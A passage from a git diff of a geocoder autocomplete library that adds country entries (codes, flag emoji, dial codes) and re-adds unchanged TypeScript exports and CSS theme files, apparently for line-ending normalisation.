+ "unicode": "U+1F1F3 U+1F1E6",
+ "name": "Namibia",
+ "title": "flag for Namibia",
+ "dialCode": "+264"
+ },
+ {
+ "code": "NC",
+ "emoji": "๐ณ๐จ",
+ "unicode": "U+1F1F3 U+1F1E8",
+ "name": "New Caledonia",
+ "title": "flag for New Caledonia",
+ "dialCode": "+687"
+ },
+ {
+ "code": "NE",
+ "emoji": "๐ณ๐ช",
+ "unicode": "U+1F1F3 U+1F1EA",
+ "name": "Niger",
+ "title": "flag for Niger",
+ "dialCode": "+227"
+ },
+ {
+ "code": "NF",
+ "emoji": "๐ณ๐ซ",
+ "unicode": "U+1F1F3 U+1F1EB",
+ "name": "Norfolk Island",
+ "title": "flag for Norfolk Island",
+ "dialCode": "+672"
+ },
+ {
+ "code": "NG",
+ "emoji": "๐ณ๐ฌ",
+ "unicode": "U+1F1F3 U+1F1EC",
+ "name": "Nigeria",
+ "title": "flag for Nigeria",
+ "dialCode": "+234"
+ },
+ {
+ "code": "NI",
+ "emoji": "๐ณ๐ฎ",
+ "unicode": "U+1F1F3 U+1F1EE",
+ "name": "Nicaragua",
+ "title": "flag for Nicaragua",
+ "dialCode": "+505"
+ },
+ {
+ "code": "NL",
+ "emoji": "๐ณ๐ฑ",
+ "unicode": "U+1F1F3 U+1F1F1",
+ "name": "Netherlands",
+ "title": "flag for Netherlands",
+ "dialCode": "+31"
+ },
+ {
+ "code": "NO",
+ "emoji": "๐ณ๐ด",
+ "unicode": "U+1F1F3 U+1F1F4",
+ "name": "Norway",
+ "title": "flag for Norway",
+ "dialCode": "+47"
+ },
+ {
+ "code": "NP",
+ "emoji": "๐ณ๐ต",
+ "unicode": "U+1F1F3 U+1F1F5",
+ "name": "Nepal",
+ "title": "flag for Nepal",
+ "dialCode": "+977"
+ },
+ {
+ "code": "NR",
+ "emoji": "๐ณ๐ท",
+ "unicode": "U+1F1F3 U+1F1F7",
+ "name": "Nauru",
+ "title": "flag for Nauru",
+ "dialCode": "+674"
+ },
+ {
+ "code": "NU",
+ "emoji": "๐ณ๐บ",
+ "unicode": "U+1F1F3 U+1F1FA",
+ "name": "Niue",
+ "title": "flag for Niue",
+ "dialCode": "+683"
+ },
+ {
+ "code": "NZ",
+ "emoji": "๐ณ๐ฟ",
+ "unicode": "U+1F1F3 U+1F1FF",
+ "name": "New Zealand",
+ "title": "flag for New Zealand",
+ "dialCode": "+64"
+ },
+ {
+ "code": "OM",
+ "emoji": "๐ด๐ฒ",
+ "unicode": "U+1F1F4 U+1F1F2",
+ "name": "Oman",
+ "title": "flag for Oman",
+ "dialCode": "+968"
+ },
+ {
+ "code": "PA",
+ "emoji": "๐ต๐ฆ",
+ "unicode": "U+1F1F5 U+1F1E6",
+ "name": "Panama",
+ "title": "flag for Panama",
+ "dialCode": "+507"
+ },
+ {
+ "code": "PE",
+ "emoji": "๐ต๐ช",
+ "unicode": "U+1F1F5 U+1F1EA",
+ "name": "Peru",
+ "title": "flag for Peru",
+ "dialCode": "+51"
+ },
+ {
+ "code": "PF",
+ "emoji": "๐ต๐ซ",
+ "unicode": "U+1F1F5 U+1F1EB",
+ "name": "French Polynesia",
+ "title": "flag for French Polynesia",
+ "dialCode": "+689"
+ },
+ {
+ "code": "PG",
+ "emoji": "๐ต๐ฌ",
+ "unicode": "U+1F1F5 U+1F1EC",
+ "name": "Papua New Guinea",
+ "title": "flag for Papua New Guinea",
+ "dialCode": "+675"
+ },
+ {
+ "code": "PH",
+ "emoji": "๐ต๐ญ",
+ "unicode": "U+1F1F5 U+1F1ED",
+ "name": "Philippines",
+ "title": "flag for Philippines",
+ "dialCode": "+63"
+ },
+ {
+ "code": "PK",
+ "emoji": "๐ต๐ฐ",
+ "unicode": "U+1F1F5 U+1F1F0",
+ "name": "Pakistan",
+ "title": "flag for Pakistan",
+ "dialCode": "+92"
+ },
+ {
+ "code": "PL",
+ "emoji": "๐ต๐ฑ",
+ "unicode": "U+1F1F5 U+1F1F1",
+ "name": "Poland",
+ "title": "flag for Poland",
+ "dialCode": "+48"
+ },
+ {
+ "code": "PM",
+ "emoji": "๐ต๐ฒ",
+ "unicode": "U+1F1F5 U+1F1F2",
+ "name": "Saint Pierre and Miquelon",
+ "title": "flag for Saint Pierre and Miquelon",
+ "dialCode": "+508"
+ },
+ {
+ "code": "PN",
+ "emoji": "๐ต๐ณ",
+ "unicode": "U+1F1F5 U+1F1F3",
+ "name": "Pitcairn",
+ "title": "flag for Pitcairn",
+ "dialCode": "+872"
+ },
+ {
+ "code": "PR",
+ "emoji": "๐ต๐ท",
+ "unicode": "U+1F1F5 U+1F1F7",
+ "name": "Puerto Rico",
+ "title": "flag for Puerto Rico",
+ "dialCode": "+1 939"
+ },
+ {
+ "code": "PS",
+ "emoji": "๐ต๐ธ",
+ "unicode": "U+1F1F5 U+1F1F8",
+ "name": "Palestinian Territory",
+ "title": "flag for Palestinian Territory",
+ "dialCode": "+970"
+ },
+ {
+ "code": "PT",
+ "emoji": "๐ต๐น",
+ "unicode": "U+1F1F5 U+1F1F9",
+ "name": "Portugal",
+ "title": "flag for Portugal",
+ "dialCode": "+351"
+ },
+ {
+ "code": "PW",
+ "emoji": "๐ต๐ผ",
+ "unicode": "U+1F1F5 U+1F1FC",
+ "name": "Palau",
+ "title": "flag for Palau",
+ "dialCode": "+680"
+ },
+ {
+ "code": "PY",
+ "emoji": "๐ต๐พ",
+ "unicode": "U+1F1F5 U+1F1FE",
+ "name": "Paraguay",
+ "title": "flag for Paraguay",
+ "dialCode": "+595"
+ },
+ {
+ "code": "QA",
+ "emoji": "๐ถ๐ฆ",
+ "unicode": "U+1F1F6 U+1F1E6",
+ "name": "Qatar",
+ "title": "flag for Qatar",
+ "dialCode": "+974"
+ },
+ {
+ "code": "RE",
+ "emoji": "๐ท๐ช",
+ "unicode": "U+1F1F7 U+1F1EA",
+ "name": "Rรฉunion",
+ "title": "flag for Rรฉunion",
+ "dialCode": "+262"
+ },
+ {
+ "code": "RO",
+ "emoji": "๐ท๐ด",
+ "unicode": "U+1F1F7 U+1F1F4",
+ "name": "Romania",
+ "title": "flag for Romania",
+ "dialCode": "+40"
+ },
+ {
+ "code": "RS",
+ "emoji": "๐ท๐ธ",
+ "unicode": "U+1F1F7 U+1F1F8",
+ "name": "Serbia",
+ "title": "flag for Serbia",
+ "dialCode": "+381"
+ },
+ {
+ "code": "RU",
+ "emoji": "๐ท๐บ",
+ "unicode": "U+1F1F7 U+1F1FA",
+ "name": "Russia",
+ "title": "flag for Russia",
+ "dialCode": "+7"
+ },
+ {
+ "code": "RW",
+ "emoji": "๐ท๐ผ",
+ "unicode": "U+1F1F7 U+1F1FC",
+ "name": "Rwanda",
+ "title": "flag for Rwanda",
+ "dialCode": "+250"
+ },
+ {
+ "code": "SA",
+ "emoji": "๐ธ๐ฆ",
+ "unicode": "U+1F1F8 U+1F1E6",
+ "name": "Saudi Arabia",
+ "title": "flag for Saudi Arabia",
+ "dialCode": "+966"
+ },
+ {
+ "code": "SB",
+ "emoji": "๐ธ๐ง",
+ "unicode": "U+1F1F8 U+1F1E7",
+ "name": "Solomon Islands",
+ "title": "flag for Solomon Islands",
+ "dialCode": "+677"
+ },
+ {
+ "code": "SC",
+ "emoji": "๐ธ๐จ",
+ "unicode": "U+1F1F8 U+1F1E8",
+ "name": "Seychelles",
+ "title": "flag for Seychelles",
+ "dialCode": "+248"
+ },
+ {
+ "code": "SD",
+ "emoji": "๐ธ๐ฉ",
+ "unicode": "U+1F1F8 U+1F1E9",
+ "name": "Sudan",
+ "title": "flag for Sudan",
+ "dialCode": "+249"
+ },
+ {
+ "code": "SE",
+ "emoji": "๐ธ๐ช",
+ "unicode": "U+1F1F8 U+1F1EA",
+ "name": "Sweden",
+ "title": "flag for Sweden",
+ "dialCode": "+46"
+ },
+ {
+ "code": "SG",
+ "emoji": "๐ธ๐ฌ",
+ "unicode": "U+1F1F8 U+1F1EC",
+ "name": "Singapore",
+ "title": "flag for Singapore",
+ "dialCode": "+65"
+ },
+ {
+ "code": "SH",
+ "emoji": "๐ธ๐ญ",
+ "unicode": "U+1F1F8 U+1F1ED",
+ "name": "Saint Helena, Ascension and Tristan Da Cunha",
+ "title": "flag for Saint Helena, Ascension and Tristan Da Cunha",
+ "dialCode": "+290"
+ },
+ {
+ "code": "SI",
+ "emoji": "๐ธ๐ฎ",
+ "unicode": "U+1F1F8 U+1F1EE",
+ "name": "Slovenia",
+ "title": "flag for Slovenia",
+ "dialCode": "+386"
+ },
+ {
+ "code": "SJ",
+ "emoji": "๐ธ๐ฏ",
+ "unicode": "U+1F1F8 U+1F1EF",
+ "name": "Svalbard and Jan Mayen",
+ "title": "flag for Svalbard and Jan Mayen",
+ "dialCode": "+47"
+ },
+ {
+ "code": "SK",
+ "emoji": "๐ธ๐ฐ",
+ "unicode": "U+1F1F8 U+1F1F0",
+ "name": "Slovakia",
+ "title": "flag for Slovakia",
+ "dialCode": "+421"
+ },
+ {
+ "code": "SL",
+ "emoji": "๐ธ๐ฑ",
+ "unicode": "U+1F1F8 U+1F1F1",
+ "name": "Sierra Leone",
+ "title": "flag for Sierra Leone",
+ "dialCode": "+232"
+ },
+ {
+ "code": "SM",
+ "emoji": "๐ธ๐ฒ",
+ "unicode": "U+1F1F8 U+1F1F2",
+ "name": "San Marino",
+ "title": "flag for San Marino",
+ "dialCode": "+378"
+ },
+ {
+ "code": "SN",
+ "emoji": "๐ธ๐ณ",
+ "unicode": "U+1F1F8 U+1F1F3",
+ "name": "Senegal",
+ "title": "flag for Senegal",
+ "dialCode": "+221"
+ },
+ {
+ "code": "SO",
+ "emoji": "๐ธ๐ด",
+ "unicode": "U+1F1F8 U+1F1F4",
+ "name": "Somalia",
+ "title": "flag for Somalia",
+ "dialCode": "+252"
+ },
+ {
+ "code": "SR",
+ "emoji": "๐ธ๐ท",
+ "unicode": "U+1F1F8 U+1F1F7",
+ "name": "Suriname",
+ "title": "flag for Suriname",
+ "dialCode": "+597"
+ },
+ {
+ "code": "SS",
+ "emoji": "๐ธ๐ธ",
+ "unicode": "U+1F1F8 U+1F1F8",
+ "name": "South Sudan",
+ "title": "flag for South Sudan"
+ },
+ {
+ "code": "ST",
+ "emoji": "๐ธ๐น",
+ "unicode": "U+1F1F8 U+1F1F9",
+ "name": "Sao Tome and Principe",
+ "title": "flag for Sao Tome and Principe",
+ "dialCode": "+239"
+ },
+ {
+ "code": "SV",
+ "emoji": "๐ธ๐ป",
+ "unicode": "U+1F1F8 U+1F1FB",
+ "name": "El Salvador",
+ "title": "flag for El Salvador",
+ "dialCode": "+503"
+ },
+ {
+ "code": "SX",
+ "emoji": "๐ธ๐ฝ",
+ "unicode": "U+1F1F8 U+1F1FD",
+ "name": "Sint Maarten (Dutch Part)",
+ "title": "flag for Sint Maarten (Dutch Part)"
+ },
+ {
+ "code": "SY",
+ "emoji": "๐ธ๐พ",
+ "unicode": "U+1F1F8 U+1F1FE",
+ "name": "Syrian Arab Republic",
+ "title": "flag for Syrian Arab Republic",
+ "dialCode": "+963"
+ },
+ {
+ "code": "SZ",
+ "emoji": "๐ธ๐ฟ",
+ "unicode": "U+1F1F8 U+1F1FF",
+ "name": "Swaziland",
+ "title": "flag for Swaziland",
+ "dialCode": "+268"
+ },
+ {
+ "code": "TC",
+ "emoji": "๐น๐จ",
+ "unicode": "U+1F1F9 U+1F1E8",
+ "name": "Turks and Caicos Islands",
+ "title": "flag for Turks and Caicos Islands",
+ "dialCode": "+1 649"
+ },
+ {
+ "code": "TD",
+ "emoji": "๐น๐ฉ",
+ "unicode": "U+1F1F9 U+1F1E9",
+ "name": "Chad",
+ "title": "flag for Chad",
+ "dialCode": "+235"
+ },
+ {
+ "code": "TF",
+ "emoji": "๐น๐ซ",
+ "unicode": "U+1F1F9 U+1F1EB",
+ "name": "French Southern Territories",
+ "title": "flag for French Southern Territories"
+ },
+ {
+ "code": "TG",
+ "emoji": "๐น๐ฌ",
+ "unicode": "U+1F1F9 U+1F1EC",
+ "name": "Togo",
+ "title": "flag for Togo",
+ "dialCode": "+228"
+ },
+ {
+ "code": "TH",
+ "emoji": "๐น๐ญ",
+ "unicode": "U+1F1F9 U+1F1ED",
+ "name": "Thailand",
+ "title": "flag for Thailand",
+ "dialCode": "+66"
+ },
+ {
+ "code": "TJ",
+ "emoji": "๐น๐ฏ",
+ "unicode": "U+1F1F9 U+1F1EF",
+ "name": "Tajikistan",
+ "title": "flag for Tajikistan",
+ "dialCode": "+992"
+ },
+ {
+ "code": "TK",
+ "emoji": "๐น๐ฐ",
+ "unicode": "U+1F1F9 U+1F1F0",
+ "name": "Tokelau",
+ "title": "flag for Tokelau",
+ "dialCode": "+690"
+ },
+ {
+ "code": "TL",
+ "emoji": "๐น๐ฑ",
+ "unicode": "U+1F1F9 U+1F1F1",
+ "name": "Timor-Leste",
+ "title": "flag for Timor-Leste",
+ "dialCode": "+670"
+ },
+ {
+ "code": "TM",
+ "emoji": "๐น๐ฒ",
+ "unicode": "U+1F1F9 U+1F1F2",
+ "name": "Turkmenistan",
+ "title": "flag for Turkmenistan",
+ "dialCode": "+993"
+ },
+ {
+ "code": "TN",
+ "emoji": "๐น๐ณ",
+ "unicode": "U+1F1F9 U+1F1F3",
+ "name": "Tunisia",
+ "title": "flag for Tunisia",
+ "dialCode": "+216"
+ },
+ {
+ "code": "TO",
+ "emoji": "๐น๐ด",
+ "unicode": "U+1F1F9 U+1F1F4",
+ "name": "Tonga",
+ "title": "flag for Tonga",
+ "dialCode": "+676"
+ },
+ {
+ "code": "TR",
+ "emoji": "๐น๐ท",
+ "unicode": "U+1F1F9 U+1F1F7",
+ "name": "Turkey",
+ "title": "flag for Turkey",
+ "dialCode": "+90"
+ },
+ {
+ "code": "TT",
+ "emoji": "๐น๐น",
+ "unicode": "U+1F1F9 U+1F1F9",
+ "name": "Trinidad and Tobago",
+ "title": "flag for Trinidad and Tobago",
+ "dialCode": "+1 868"
+ },
+ {
+ "code": "TV",
+ "emoji": "๐น๐ป",
+ "unicode": "U+1F1F9 U+1F1FB",
+ "name": "Tuvalu",
+ "title": "flag for Tuvalu",
+ "dialCode": "+688"
+ },
+ {
+ "code": "TW",
+ "emoji": "๐น๐ผ",
+ "unicode": "U+1F1F9 U+1F1FC",
+ "name": "Taiwan",
+ "title": "flag for Taiwan",
+ "dialCode": "+886"
+ },
+ {
+ "code": "TZ",
+ "emoji": "๐น๐ฟ",
+ "unicode": "U+1F1F9 U+1F1FF",
+ "name": "Tanzania",
+ "title": "flag for Tanzania",
+ "dialCode": "+255"
+ },
+ {
+ "code": "UA",
+ "emoji": "๐บ๐ฆ",
+ "unicode": "U+1F1FA U+1F1E6",
+ "name": "Ukraine",
+ "title": "flag for Ukraine",
+ "dialCode": "+380"
+ },
+ {
+ "code": "UG",
+ "emoji": "๐บ๐ฌ",
+ "unicode": "U+1F1FA U+1F1EC",
+ "name": "Uganda",
+ "title": "flag for Uganda",
+ "dialCode": "+256"
+ },
+ {
+ "code": "UM",
+ "emoji": "๐บ๐ฒ",
+ "unicode": "U+1F1FA U+1F1F2",
+ "name": "United States Minor Outlying Islands",
+ "title": "flag for United States Minor Outlying Islands"
+ },
+ {
+ "code": "US",
+ "emoji": "๐บ๐ธ",
+ "unicode": "U+1F1FA U+1F1F8",
+ "name": "United States",
+ "title": "flag for United States",
+ "dialCode": "+1"
+ },
+ {
+ "code": "UY",
+ "emoji": "๐บ๐พ",
+ "unicode": "U+1F1FA U+1F1FE",
+ "name": "Uruguay",
+ "title": "flag for Uruguay",
+ "dialCode": "+598"
+ },
+ {
+ "code": "UZ",
+ "emoji": "๐บ๐ฟ",
+ "unicode": "U+1F1FA U+1F1FF",
+ "name": "Uzbekistan",
+ "title": "flag for Uzbekistan",
+ "dialCode": "+998"
+ },
+ {
+ "code": "VA",
+ "emoji": "๐ป๐ฆ",
+ "unicode": "U+1F1FB U+1F1E6",
+ "name": "Vatican City",
+ "title": "flag for Vatican City",
+ "dialCode": "+379"
+ },
+ {
+ "code": "VC",
+ "emoji": "๐ป๐จ",
+ "unicode": "U+1F1FB U+1F1E8",
+ "name": "Saint Vincent and The Grenadines",
+ "title": "flag for Saint Vincent and The Grenadines",
+ "dialCode": "+1 784"
+ },
+ {
+ "code": "VE",
+ "emoji": "๐ป๐ช",
+ "unicode": "U+1F1FB U+1F1EA",
+ "name": "Venezuela",
+ "title": "flag for Venezuela",
+ "dialCode": "+58"
+ },
+ {
+ "code": "VG",
+ "emoji": "๐ป๐ฌ",
+ "unicode": "U+1F1FB U+1F1EC",
+ "name": "Virgin Islands, British",
+ "title": "flag for Virgin Islands, British",
+ "dialCode": "+1 284"
+ },
+ {
+ "code": "VI",
+ "emoji": "๐ป๐ฎ",
+ "unicode": "U+1F1FB U+1F1EE",
+ "name": "Virgin Islands, U.S.",
+ "title": "flag for Virgin Islands, U.S.",
+ "dialCode": "+1 340"
+ },
+ {
+ "code": "VN",
+ "emoji": "๐ป๐ณ",
+ "unicode": "U+1F1FB U+1F1F3",
+ "name": "Viet Nam",
+ "title": "flag for Viet Nam",
+ "dialCode": "+84"
+ },
+ {
+ "code": "VU",
+ "emoji": "๐ป๐บ",
+ "unicode": "U+1F1FB U+1F1FA",
+ "name": "Vanuatu",
+ "title": "flag for Vanuatu",
+ "dialCode": "+678"
+ },
+ {
+ "code": "WF",
+ "emoji": "๐ผ๐ซ",
+ "unicode": "U+1F1FC U+1F1EB",
+ "name": "Wallis and Futuna",
+ "title": "flag for Wallis and Futuna",
+ "dialCode": "+681"
+ },
+ {
+ "code": "WS",
+ "emoji": "๐ผ๐ธ",
+ "unicode": "U+1F1FC U+1F1F8",
+ "name": "Samoa",
+ "title": "flag for Samoa",
+ "dialCode": "+685"
+ },
+ {
+ "code": "XK",
+ "emoji": "๐ฝ๐ฐ",
+ "unicode": "U+1F1FD U+1F1F0",
+ "name": "Kosovo",
+ "title": "flag for Kosovo",
+ "dialCode": "+383"
+ },
+ {
+ "code": "YE",
+ "emoji": "๐พ๐ช",
+ "unicode": "U+1F1FE U+1F1EA",
+ "name": "Yemen",
+ "title": "flag for Yemen",
+ "dialCode": "+967"
+ },
+ {
+ "code": "YT",
+ "emoji": "๐พ๐น",
+ "unicode": "U+1F1FE U+1F1F9",
+ "name": "Mayotte",
+ "title": "flag for Mayotte",
+ "dialCode": "+262"
+ },
+ {
+ "code": "ZA",
+ "emoji": "๐ฟ๐ฆ",
+ "unicode": "U+1F1FF U+1F1E6",
+ "name": "South Africa",
+ "title": "flag for South Africa",
+ "dialCode": "+27"
+ },
+ {
+ "code": "ZM",
+ "emoji": "๐ฟ๐ฒ",
+ "unicode": "U+1F1FF U+1F1F2",
+ "name": "Zambia",
+ "title": "flag for Zambia",
+ "dialCode": "+260"
+ },
+ {
+ "code": "ZW",
+ "emoji": "๐ฟ๐ผ",
+ "unicode": "U+1F1FF U+1F1FC",
+ "name": "Zimbabwe",
+ "title": "flag for Zimbabwe",
+ "dialCode": "+263"
+ }
]
\ No newline at end of file
diff --git a/src/index.ts b/src/index.ts
index 40cf8ae..92187c1 100644
--- a/src/index.ts
+++ b/src/index.ts
@@ -1,10 +1,10 @@
-export {GeocoderAutocomplete} from './autocomplete';
-export type {GeocoderAutocompleteOptions} from './autocomplete';
-export type {LocationType} from './autocomplete';
-export type {SupportedLanguage} from './autocomplete';
-export type {GeoPosition} from './autocomplete';
-export type {CountyCode} from './autocomplete';
-export type {ByCountryCodeOptions} from './autocomplete';
-export type {ByCircleOptions} from './autocomplete';
-export type {ByProximityOptions} from './autocomplete';
+export {GeocoderAutocomplete} from './autocomplete';
+export type {GeocoderAutocompleteOptions} from './autocomplete';
+export type {LocationType} from './autocomplete';
+export type {SupportedLanguage} from './autocomplete';
+export type {GeoPosition} from './autocomplete';
+export type {CountyCode} from './autocomplete';
+export type {ByCountryCodeOptions} from './autocomplete';
+export type {ByCircleOptions} from './autocomplete';
+export type {ByProximityOptions} from './autocomplete';
export type {ByRectOptions} from './autocomplete';
\ No newline at end of file
diff --git a/styles/minimal-dark.css b/styles/minimal-dark.css
index 05079f4..e6167d9 100644
--- a/styles/minimal-dark.css
+++ b/styles/minimal-dark.css
@@ -1,97 +1,97 @@
-.geoapify-autocomplete-input {
- padding: 0 31px 0 7px;
- width: calc(100% - 40px);
-
- outline: none;
-
- line-height: 36px;
- height: 36px;
- border: 1px solid rgba(255, 255, 255, 0.2);
- background-color: rgba(255, 255, 255, 0.1);
- color: rgba(255, 255, 255, 0.8);
-
- font-size: 14px;
-}
-
-.geoapify-autocomplete-input::placeholder {
- color: rgba(255, 255, 255, 0.5);
-}
-
-.geoapify-autocomplete-items {
- position: absolute;
- border: 1px solid rgba(255, 255, 255, 0.2);
- border-top: none;
- background-color: #313131;
-
- color: rgba(255, 255, 255, 0.8);
-
- z-index: 99;
- top: 100%;
- left: 0;
- right: 0;
-}
-
-.geoapify-autocomplete-items div {
- padding: 10px;
- cursor: pointer;
-}
-
-.geoapify-autocomplete-items div:hover {
- background-color: rgba(255, 255, 255, 0.1);
-}
-
-.geoapify-autocomplete-items .active {
- background-color: rgba(255, 255, 255, 0.1);
-}
-
-.geoapify-autocomplete-item {
- display: flex;
- flex-direction: row;
- align-items: center;
-}
-
-.geoapify-autocomplete-item .icon {
- display: inline-block;
- width: 40px;
- height: 24px;
- color: #aaa;
-}
-
-.geoapify-autocomplete-item .icon.emoji {
- color: unset;
- font-size: 20px;
- opacity: 0.9;
-}
-
-.geoapify-close-button {
- position: absolute;
- right: 5px;
- top: 0;
-
- height: 100%;
- display: none;
- align-items: center;
-}
-
-.geoapify-close-button.visible {
- display: flex;
-}
-
-.geoapify-close-button {
- color: rgba(255, 255, 255, 0.4);
- cursor: pointer;
-}
-
-.geoapify-close-button:hover {
- color: rgba(255, 255, 255, 0.6);
-}
-
-.geoapify-autocomplete-items .secondary-part {
- margin-left: 10px;
- font-size: small;
- color: rgba(255, 255, 255, 0.6);
-}
-
-.geoapify-autocomplete-items .main-part .non-verified {
- color: #ff8080;
+.geoapify-autocomplete-input {
+ padding: 0 31px 0 7px;
+ width: calc(100% - 40px);
+
+ outline: none;
+
+ line-height: 36px;
+ height: 36px;
+ border: 1px solid rgba(255, 255, 255, 0.2);
+ background-color: rgba(255, 255, 255, 0.1);
+ color: rgba(255, 255, 255, 0.8);
+
+ font-size: 14px;
+}
+
+.geoapify-autocomplete-input::placeholder {
+ color: rgba(255, 255, 255, 0.5);
+}
+
+.geoapify-autocomplete-items {
+ position: absolute;
+ border: 1px solid rgba(255, 255, 255, 0.2);
+ border-top: none;
+ background-color: #313131;
+
+ color: rgba(255, 255, 255, 0.8);
+
+ z-index: 99;
+ top: 100%;
+ left: 0;
+ right: 0;
+}
+
+.geoapify-autocomplete-items div {
+ padding: 10px;
+ cursor: pointer;
+}
+
+.geoapify-autocomplete-items div:hover {
+ background-color: rgba(255, 255, 255, 0.1);
+}
+
+.geoapify-autocomplete-items .active {
+ background-color: rgba(255, 255, 255, 0.1);
+}
+
+.geoapify-autocomplete-item {
+ display: flex;
+ flex-direction: row;
+ align-items: center;
+}
+
+.geoapify-autocomplete-item .icon {
+ display: inline-block;
+ width: 40px;
+ height: 24px;
+ color: #aaa;
+}
+
+.geoapify-autocomplete-item .icon.emoji {
+ color: unset;
+ font-size: 20px;
+ opacity: 0.9;
+}
+
+.geoapify-close-button {
+ position: absolute;
+ right: 5px;
+ top: 0;
+
+ height: 100%;
+ display: none;
+ align-items: center;
+}
+
+.geoapify-close-button.visible {
+ display: flex;
+}
+
+.geoapify-close-button {
+ color: rgba(255, 255, 255, 0.4);
+ cursor: pointer;
+}
+
+.geoapify-close-button:hover {
+ color: rgba(255, 255, 255, 0.6);
+}
+
+.geoapify-autocomplete-items .secondary-part {
+ margin-left: 10px;
+ font-size: small;
+ color: rgba(255, 255, 255, 0.6);
+}
+
+.geoapify-autocomplete-items .main-part .non-verified {
+ color: #ff8080;
}
\ No newline at end of file
diff --git a/styles/minimal.css b/styles/minimal.css
index 574f4c8..77f9986 100644
--- a/styles/minimal.css
+++ b/styles/minimal.css
@@ -1,89 +1,89 @@
-.geoapify-autocomplete-input {
- padding: 0 31px 0 7px;
- width: calc(100% - 40px);
-
- outline: none;
-
- line-height: 36px;
- height: 36px;
- border: 1px solid rgba(0, 0, 0, 0.3);
-
- font-size: 14px;
-}
-
-.geoapify-autocomplete-items {
- position: absolute;
- border: 1px solid rgba(0, 0, 0, 0.3);
- border-top: none;
- background-color: #fff;
-
- z-index: 99;
- top: 100%;
- left: 0;
- right: 0;
-}
-
-.geoapify-autocomplete-items div {
- padding: 10px;
- cursor: pointer;
-}
-
-.geoapify-autocomplete-items div:hover {
- background-color: rgba(0, 0, 0, 0.1);
-}
-
-.geoapify-autocomplete-items .active {
- background-color: rgba(0, 0, 0, 0.1);
-}
-
-.geoapify-autocomplete-item {
- display: flex;
- flex-direction: row;
- align-items: center;
-}
-
-.geoapify-autocomplete-item .icon {
- display: inline-block;
- width: 40px;
- height: 24px;
- color: #aaa;
-}
-
-.geoapify-autocomplete-item .icon.emoji {
- color: unset;
- font-size: 20px;
- opacity: 0.9;
-}
-
-.geoapify-close-button {
- position: absolute;
- right: 5px;
- top: 0;
-
- height: 100%;
- display: none;
- align-items: center;
-}
-
-.geoapify-close-button.visible {
- display: flex;
-}
-
-.geoapify-close-button {
- color: rgba(0, 0, 0, 0.4);
- cursor: pointer;
-}
-
-.geoapify-close-button:hover {
- color: rgba(0, 0, 0, 0.6);
-}
-
-.geoapify-autocomplete-items .main-part .non-verified {
- color: #ff4848;
-}
-
-.geoapify-autocomplete-items .secondary-part {
- margin-left: 10px;
- font-size: small;
- color: rgba(0, 0, 0, 0.6);
+.geoapify-autocomplete-input {
+ padding: 0 31px 0 7px;
+ width: calc(100% - 40px);
+
+ outline: none;
+
+ line-height: 36px;
+ height: 36px;
+ border: 1px solid rgba(0, 0, 0, 0.3);
+
+ font-size: 14px;
+}
+
+.geoapify-autocomplete-items {
+ position: absolute;
+ border: 1px solid rgba(0, 0, 0, 0.3);
+ border-top: none;
+ background-color: #fff;
+
+ z-index: 99;
+ top: 100%;
+ left: 0;
+ right: 0;
+}
+
+.geoapify-autocomplete-items div {
+ padding: 10px;
+ cursor: pointer;
+}
+
+.geoapify-autocomplete-items div:hover {
+ background-color: rgba(0, 0, 0, 0.1);
+}
+
+.geoapify-autocomplete-items .active {
+ background-color: rgba(0, 0, 0, 0.1);
+}
+
+.geoapify-autocomplete-item {
+ display: flex;
+ flex-direction: row;
+ align-items: center;
+}
+
+.geoapify-autocomplete-item .icon {
+ display: inline-block;
+ width: 40px;
+ height: 24px;
+ color: #aaa;
+}
+
+.geoapify-autocomplete-item .icon.emoji {
+ color: unset;
+ font-size: 20px;
+ opacity: 0.9;
+}
+
+.geoapify-close-button {
+ position: absolute;
+ right: 5px;
+ top: 0;
+
+ height: 100%;
+ display: none;
+ align-items: center;
+}
+
+.geoapify-close-button.visible {
+ display: flex;
+}
+
+.geoapify-close-button {
+ color: rgba(0, 0, 0, 0.4);
+ cursor: pointer;
+}
+
+.geoapify-close-button:hover {
+ color: rgba(0, 0, 0, 0.6);
+}
+
+.geoapify-autocomplete-items .main-part .non-verified {
+ color: #ff4848;
+}
+
+.geoapify-autocomplete-items .secondary-part {
+ margin-left: 10px;
+ font-size: small;
+ color: rgba(0, 0, 0, 0.6);
}
\ No newline at end of file
diff --git a/styles/round-borders-dark.css b/styles/round-borders-dark.css
index 8e1236d..53120c9 100644
--- a/styles/round-borders-dark.css
+++ b/styles/round-borders-dark.css
@@ -1,102 +1,102 @@
-.geoapify-autocomplete-input {
- padding: 0 31px 0 7px;
- width: calc(100% - 40px);
-
- outline: none;
-
- line-height: 36px;
- height: 36px;
- border: 1px solid rgba(255, 255, 255, 0.2);
- border-radius: 5px;
-
- background-color: rgba(255, 255, 255, 0.1);
- color: rgba(255, 255, 255, 0.8);
-
- font-size: 14px;
-}
-
-.geoapify-autocomplete-input::placeholder {
- color: rgba(255, 255, 255, 0.5);
-}
-
-.geoapify-autocomplete-items {
- position: absolute;
- top: calc(100% + 2px);
- left: 0;
- right: 0;
-
- border: 1px solid rgba(255, 255, 255, 0.1);
- border-radius: 5px;
- overflow: hidden;
-
- background-color: #313131;
- color: rgba(255, 255, 255, 0.8);
- box-shadow: 0px 4px 10px 2px rgba(255, 255, 255, 0.1);
-
- z-index: 99;
-}
-
-.geoapify-autocomplete-items div {
- padding: 10px;
- cursor: pointer;
-}
-
-.geoapify-autocomplete-items div:hover {
- background-color: rgba(255, 255, 255, 0.1);
-}
-
-.geoapify-autocomplete-items .active {
- background-color: rgba(255, 255, 255, 0.1);
-}
-
-.geoapify-autocomplete-item {
- display: flex;
- flex-direction: row;
- align-items: center;
-}
-
-.geoapify-autocomplete-item .icon {
- display: inline-block;
- width: 40px;
- height: 24px;
- color: #aaa;
-}
-
-.geoapify-autocomplete-item .icon.emoji {
- color: unset;
- font-size: 20px;
- opacity: 0.9;
-}
-
-.geoapify-close-button {
- position: absolute;
- right: 5px;
- top: 0;
-
- height: 100%;
- display: none;
- align-items: center;
-}
-
-.geoapify-close-button.visible {
- display: flex;
-}
-
-.geoapify-close-button {
- color: rgba(255, 255, 255, 0.4);
- cursor: pointer;
-}
-
-.geoapify-close-button:hover {
- color: rgba(255, 255, 255, 0.6);
-}
-
-.geoapify-autocomplete-items .secondary-part {
- margin-left: 10px;
- font-size: small;
- color: rgba(255, 255, 255, 0.6);
-}
-
-.geoapify-autocomplete-items .main-part .non-verified {
- color: #ff8080;
+.geoapify-autocomplete-input {
+ padding: 0 31px 0 7px;
+ width: calc(100% - 40px);
+
+ outline: none;
+
+ line-height: 36px;
+ height: 36px;
